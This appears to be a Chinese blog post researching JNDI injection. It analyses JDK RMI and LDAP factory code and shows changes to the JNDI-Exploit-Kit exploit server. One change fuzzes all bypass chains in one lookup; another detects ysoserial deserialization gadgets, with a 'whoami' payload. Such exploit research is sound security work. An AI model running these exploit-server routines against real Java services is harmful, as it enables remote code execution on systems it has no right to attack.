JNDI漏洞利用探索
最近学习了师傅寻找的一些JNDI漏洞的利用链受益匪浅，自己也尝试关于JNDI漏洞利用做一些挖掘，目前JNDI在利用过程我想到了两个问题。
- 测试每一个JNDI Bypass 利用链都需要手动更改URL很不方便，能否我去请求一个地址，让目标将我所有的链跑一遍？
- JNDI利用过程中可以通过反序列化利用，能否自动化探测反序列化利用链？
为了让这种方式更加通用，我们首先考虑的是JDK原生的实现ObjectFactory的类，那么我注意到了下面几个类。
- com.sun.jndi.rmi.registry.RegistryContextFactory
- com.sun.jndi.ldap.LdapCtxFactory
RegistryContextFactory
调用分析
通过getURLs从Reference获取url列表并封装为数组，URLsToObject中对数组中的URL列表发起RMI请求，所以RegistryContextFactory满足我们的需求。
public Object getObjectInstance(Object var1, Name var2, Context var3, Hashtable<?, ?> var4) throws NamingException {
//判断是否为引用对象并且factoryClassname为RegistryContextFactory
if (!isRegistryRef(var1)) {
return null;
} else {
//从引用对象中获取URL列表并循环发起调用
Object var5 = URLsToObject(getURLs((Reference)var1), var4);
if (var5 instanceof RegistryContext) {
RegistryContext var6 = (RegistryContext)var5;
var6.reference = (Reference)var1;
}
return var5;
}
}getURLs获取URL必须满足RefAddr是StringRefAddr类型且Type属性为URL才会保存。
private static String[] getURLs(Reference var0) throws NamingException {
int var1 = 0;
String[] var2 = new String[var0.size()];
Enumeration var3 = var0.getAll();
//从RefAddr中获取url并保存到数组中
while(var3.hasMoreElements()) {
RefAddr var4 = (RefAddr)var3.nextElement();
//只有RefAddr是StringRefAddr类型，且Type属性为URL才会保存
if (var4 instanceof StringRefAddr && var4.getType().equals("URL")) {
var2[var1++] = (String)var4.getContent();
}
}
if (var1 == 0) {
throw new ConfigurationException("Reference contains no valid addresses");
} else if (var1 == var0.size()) {
return var2;
} else {
//返回URL数组
String[] var5 = new String[var1];
System.arraycopy(var2, 0, var5, 0, var1);
return var5;
}
}URLsToObject中创建
rmiURLContextFactory对象并调用getObjectInstance。getObjectInstance中判断传入的object类型如果是数组则调用getUsingURLs.private static Object URLsToObject(String[] var0, Hashtable var1) throws NamingException {
rmiURLContextFactory var2 = new rmiURLContextFactory();
return var2.getObjectInstance(var0, (Name)null, (Context)null, var1);
}public Object getObjectInstance(Object var1, Name var2, Context var3, Hashtable var4) throws NamingException {
if (var1 == null) {
return new rmiURLContext(var4);
} else if (var1 instanceof String) {
return getUsingURL((String)var1, var4);
} else if (var1 instanceof String[]) {
//数组类型
return getUsingURLs((String[])((String[])var1), var4);
} else {
throw new ConfigurationException("rmiURLContextFactory.getObjectInstance: argument must be an RMI URL String or an array of them");
}
}getUsingURLs创建
rmiURLContext并循环调用lookup发起RMI调用直到获取一个对象并返回。private static Object getUsingURLs(String[] var0, Hashtable var1) throws NamingException {
if (var0.length == 0) {
throw new ConfigurationException("rmiURLContextFactory: empty URL array");
} else {
rmiURLContext var2 = new rmiURLContext(var1);
try {
NamingException var3 = null;
int var4 = 0;
while(var4 < var0.length) {
try {
Object var5 = var2.lookup(var0[var4]);
return var5;
} catch (NamingException var9) {
var3 = var9;
++var4;
}
}
throw var3;
} finally {
var2.close();
}
}
}
利用分析
通过RegistryContextFactory利用只能使用rmi协议发起请求，所以目前只能用这种方式检测rmi相关的利用，在Orange师傅的JNDI- Exploit- Kit工具中集成了一部分关于RMI的利用链，其中也包含了Tomcat和GROOVY的bypass，当然Groovy的执行也依赖Tomcat。工具运行后会生成一些RMI的URL，我们可以将RegistryContextFactory也加到利用链中。
在RMIRefServer中包含了RMI处理的逻辑，因此可以把RegistryContextFactory引用也注册进去。
/*
* Fuzz All Bypass
* Created by 藏青
*/
public ResourceRef execAll() throws RemoteException, NamingException{
ResourceRef ref = new ResourceRef("xxxx", null, "", "",
true, "com.sun.jndi.rmi.registry.RegistryContextFactory", null);
//Mapper.references中保存了随机生成的rmi名称和利用方式的关系
for (Map.Entry<String, String> entry : Mapper.references.entrySet()) {
String mapKey = entry.getKey();
String mapValue = entry.getValue();
//如果是RegistryContextFactory则跳过，否则会造成递归查询
if(!mapValue.equals("BypassTestAll")){
ref.add(new StringRefAddr("URL",String.format("rmi://%s:1099/%s", ServerStart.rmi_addr,mapKey)));
}
}
return ref;
}RMIRefServer#handleRMI中会根据请求的url找到对应的处理方法生成引用对象并返回，所以我们只要将我们构造的execAll方法也加入到if判断中即可。
private boolean handleRMI ( ObjectInputStream ois, DataOutputStream out ) throws Exception {
int method = ois.readInt(); // method
ois.readLong(); // hash
if ( method != 2 ) { // lookup
return false;
}
//获取rmi请求的对象名称，这里是随机生成的额名称
String object = (String) ois.readObject();
System.out.println(getLocalTime() + " [RMISERVER] >> Is RMI.lookup call for " + object + " " + method);
String cpstring = this.classpathUrl.toString();
//根据取出的名称从Mapper.references中取出利用方式对应的名称
String reference = Mapper.references.get(object);
if (reference == null) {
System.out.println(getLocalTime() + " [RMISERVER] >> Reference that matches the name(" + object + ") is not found.");
//return false;
cpstring = "BypassByGroovy";
}
URL turl = new URL(cpstring + "#" + reference);
out.writeByte(TransportConstants.Return);// transport op
try ( ObjectOutputStream oos = new MarshalOutputStream(out, turl) ) {
oos.writeByte(TransportConstants.NormalReturn);
new UID().write(oos);
//创建ReferenceWrapper包装类
ReferenceWrapper rw = Reflections.createWithoutConstructor(ReferenceWrapper.class);
// 根据名称不同调用不同的方法得到对应的引用对象
if (reference.startsWith("BypassByEL")){
System.out.println(getLocalTime() + " [RMISERVER] >> Sending local classloading reference for BypassByEL.");
Reflections.setFieldValue(rw, "wrappee", execByEL());
} else if (reference.startsWith("BypassByGroovy")){
System.out.println(getLocalTime() + " [RMISERVER] >> Sending local classloading reference for BypassByGroovy.");
Reflections.setFieldValue(rw, "wrappee", execByGroovy());
}
//将我们的构造的execAll方法加到判断中
else if (reference.startsWith("BypassTestAll")){
System.out.println(getLocalTime() + " [RMISERVER] >> Sending local classloading reference for BypassTestAll.");
Reflections.setFieldValue(rw, "wrappee", execAll());
}
else {
System.out.println(
String.format(
getLocalTime() + " [RMISERVER] >> Sending remote classloading stub targeting %s",
new URL(cpstring + reference.concat(".class"))));
Reflections.setFieldValue(rw, "wrappee", new Reference("Foo", reference, turl.toString()));
}
Field refF = RemoteObject.class.getDeclaredField("ref");
refF.setAccessible(true);
refF.set(rw, new UnicastServerRef(12345));
oos.writeObject(rw);
oos.flush();
out.flush();
}
return true;
}由于util.Mapper#references中包含了引用关系，所以这里也需要做下更改。
static {
...
references.put(RandomStringUtils.randomAlphanumeric(6).toLowerCase(),"BypassTestAll");
instructions.put("BypassTestAll","Build in "+ withColor("JDK - (BYPASSAll by @藏青)",ANSI_RED) +" whose test All Bypass Payload");
}当然我们也可以把之前分析的一些利用链也加进去，但是这并不是我们本片文章的重点，就不分析了。添加并启动后，可以看到我们我们添加的利用链地址。
在tomcat中请求我们创建的registry会将所有的利用链跑一遍，如果利用失败则会导致异常进入下一个利用链，直到跑成功获取对象并返回。
我们也可以从server端进行验证，因为我这里使用的tomcat8所以跑到el表达式后利用成功并返回。
栈溢出
忽然想到如果我们在引用中的地址也是RegistryContextFactory那不就会导致递归的lookup查询，是否会产生什么问题。服务端代码如下：
Registry registry = LocateRegistry.createRegistry(1099);
Reference ref = new Reference("javax.sql.DataSource","com.sun.jndi.rmi.registry.RegistryContextFactory",null);
ref.add(new StringRefAddr("URL","rmi://127.0.0.1:1099/Foo"));
ReferenceWrapper wrapper = new ReferenceWrapper(ref);
registry.bind("Foo", wrapper);经过测试递归查询会触发tomcat的栈溢出异常，但是并不会对程序的使用产生影响。
LdapCtxFactory
LdapCtxFactory和RegistryContextFactory相对应，具体的过程不分析了，最终是通过LdapCtxFactory#getUsingURL来执行，但是只会获取到DirContext并没有调用Lookup方法，所以似乎不能利用。
private static DirContext getUsingURL(String var0, Hashtable<?, ?> var1) throws NamingException {
Object var2 = null;
LdapURL var3 = new LdapURL(var0);
String var4 = var3.getDN();
String var5 = var3.getHost();
int var6 = var3.getPort();
String var8 = null;
String[] var7;
if (var5 == null && var6 == -1 && var4 != null && (var8 = ServiceLocator.mapDnToDomainName(var4)) != null && (var7 = ServiceLocator.getLdapService(var8, var1)) != null) {
String var9 = var3.getScheme() + "://";
String[] var10 = new String[var7.length];
String var11 = var3.getQuery();
String var12 = var3.getPath() + (var11 != null ? var11 : "");
for(int var13 = 0; var13 < var7.length; ++var13) {
var10[var13] = var9 + var7[var13] + var12;
}
var2 = getUsingURLs(var10, var1);
((LdapCtx)var2).setDomainName(var8);
} else {
var2 = new LdapCtx(var4, var5, var6, var1, var3.useSsl());
((LdapCtx)var2).setProviderUrl(var0);
}
//返回DirContext对象
return (DirContext)var2;
}通过对问题一的分析，我们现在只能利用RMI协议来协助我们一次性发起多个RMI调用，目前的大多数工具都是基于Ldap来进行反序列化利用的，不过在RMI中也可以通过反序列化利用。
首先我们要利用的场景是去通过RMI攻击客户端，所以可以利用ysoserial#JRMPListener模块来利用，它构建了一个JRMP监听，当客户端发起请求时会构建一个异常对象BadAttributeValueExpException，并在这个异常对象的val属性中放入我们要构造好的恶意对象。
out.writeByte(TransportConstants.Return);// transport op
ObjectOutputStream oos = new JRMPClient.MarshalOutputStream(out, this.classpathUrl);
//写入异常标识
oos.writeByte(TransportConstants.ExceptionalReturn);
new UID().write(oos);
//构建BadAttributeValueExpException异常对象，并在val属性中加入恶意对象。
BadAttributeValueExpException ex = new BadAttributeValueExpException(null);
Reflections.setFieldValue(ex, "val",payload );
oos.writeObject(ex);当客户端发起请求时,会在StreamRemoteCall#executeCall中通过判断returnType是否为TransportConstants#ExceptionalReturn来决定是否反序列化，也就是只有返回出现异常时才会对异常对象进行反序列化。
switch (returnType) {
case TransportConstants.NormalReturn:
break;
case TransportConstants.ExceptionalReturn:
Object ex;
try {
//当返回类型为ExceptionalReturn则进行反序列化
ex = in.readObject();
} catch (Exception e) {
throw new UnmarshalException("Error unmarshaling return", e);
}
// An exception should have been received,
// if so throw it, else flag error
if (ex instanceof Exception) {
exceptionReceivedFromServer((Exception) ex);
} else {
throw new UnmarshalException("Return type not Exception");
}
// Exception is thrown before fallthrough can occur
default:
if (Transport.transportLog.isLoggable(Log.BRIEF)) {
Transport.transportLog.log(Log.BRIEF,
"return code invalid: " + returnType);
}
throw new UnmarshalException("Return code invalid");
}
但是由于我们构建了一个异常对象，在执行过程中会抛出异常。而我们在分析RegistryContextFactory时说过，只有当返回正常时才会停止，返回异常会继续请求其他的RMI地址，所以如果这样利用，只能把所有的反序列化利用链Fuzz一遍，我们并不知道哪个利用链可用。
失败尝试一
分析在StreamRemoteCall#executeCall的利用过程我发现，只要设置了TransportConstants#ExceptionalReturn都会进行反序列化，如果我们仅仅设置了这个字段，但是传入的是只是我们的恶意对象，能否绕过此处的报错？所以我对JRMPListener做了如下更改。
但是在反序列化结束后会判断我们传入的是否为异常对象，如果不是也会抛异常。
失败尝试二
继续分析发现RegistryImpl_Stub#lookup中也会进行反序列化，但是会将反序列化的结果转成Remote类型，如果我们返回的不是Remote的实现类也会导致异常。
利用分析
虽然我们不能直接通过是否继续请求来判断利用链存在，但是还是可以通过DNSLog的方式进行判断。我们可以在每次请求后获取DNSLog的结果，如果有返回值则代表利用链可用。
但是在编写好代码测试时惊喜的发现，在利用失败捕获异常时只会捕获NamingException类型的异常。
如果利用链没找到，会抛出CommunicationException异常，而这个异常是NamingException的子类，因此会被捕获
如果利用成功，抛出的是其他类型的异常，则不会被捕获。
但是这里还有一个问题，有些利用类存在，但是由于JDK版本或者其他问题导致不能利用，比如CC1，这个时候也会抛出其他异常，但是并不能触发漏洞，所以在自动化探测的时候要将这些类去除掉。
大概测了下在CC链中CC1,CC3,CC7都不能使用。CC1和CC3都是因为JDK版本过高无法使用可以理解，但是在CC7中明明可以执行成功但是还是会返回CommunicationException异常。
其他的利用链也先不测试了，这里只大致说下思路。通过这种实现已经可以达到自动化探测部分利用链了。最终我们服务端请求中最后一个请求的gadget就是存在的利用链。
代码实现主要是在JNDI-Exploit-Kit基础上做了一点点小改进，主要是在if判断中继续加上了execAllGadgat方法。
在execAllGadgat方法中遍历已经添加的利用链并添加到引用对象中。
public static String[] gadgets=new String[]{"CommonsBeanutils1","CommonsCollections10","CommonsCollections2","CommonsCollections4","CommonsCollections5","CommonsCollections6","CommonsCollections8","CommonsCollections9","Hibernate1","JBossInterceptors1","JSON1","JavassistWeld1","Jdk7u21","MozillaRhino1","MozillaRhino2","ROME","Vaadin1","Jre8u20"};
public Object execAllGadgat() {
ResourceRef ref = new ResourceRef("xxxx", null, "", "",
true, "com.sun.jndi.rmi.registry.RegistryContextFactory", null);
for(String gadget:gadgets){
ref.add(new StringRefAddr("URL",String.format("rmi://%s:1099/serial/%s", ServerStart.rmi_addr,gadget)));
}
return ref;
}由于我们的Payload并没有在references中添加，因此从Map中会获取不到，所以我这里加了一个判断，当object以ser开头，则表示是通过反序列化利用，给reference赋值。
最后再加上一个引用判断，如果以serial开头则取出调用链名称获取恶意对象直接写入。
public Object execGadgets(String className) throws Exception {
Class clazz = Class.forName("ysoserial.payloads."+className);
ObjectPayload<?> payload = (ObjectPayload<?>) clazz.newInstance();
final Object objBefore = payload.getObject("whoami", "exec_global");
return objBefore;
}虽然这次的小发现对于JNDI漏洞的利用来说可能有些画蛇添足，通过这几天的研究也发现了自己对RMI请求理解上的不足，最后对这种利用方式做一个总结。
由于我们要传入一个ObjectFactory类名，所以需要一个Reference对象，但是JDK自带的只有
LinkRef，不能传递ObjectFactory的类名，所以这里还是使用了tomcat中的ResourceRef,所以还是有些依赖Tomcat。由于
LdapCtxFactory最终没有调用Lookup方法，因此目前只能通过RMI协议来进行自动化检测由于
CC1,CC3,CC7无法通过返回的异常类型判断是否存在，所以不能检测这几条链。目前我只测了CC链，其他类型的利用链是否有异常未测试
手机扫一扫
移动阅读更方便
你可能感兴趣的文章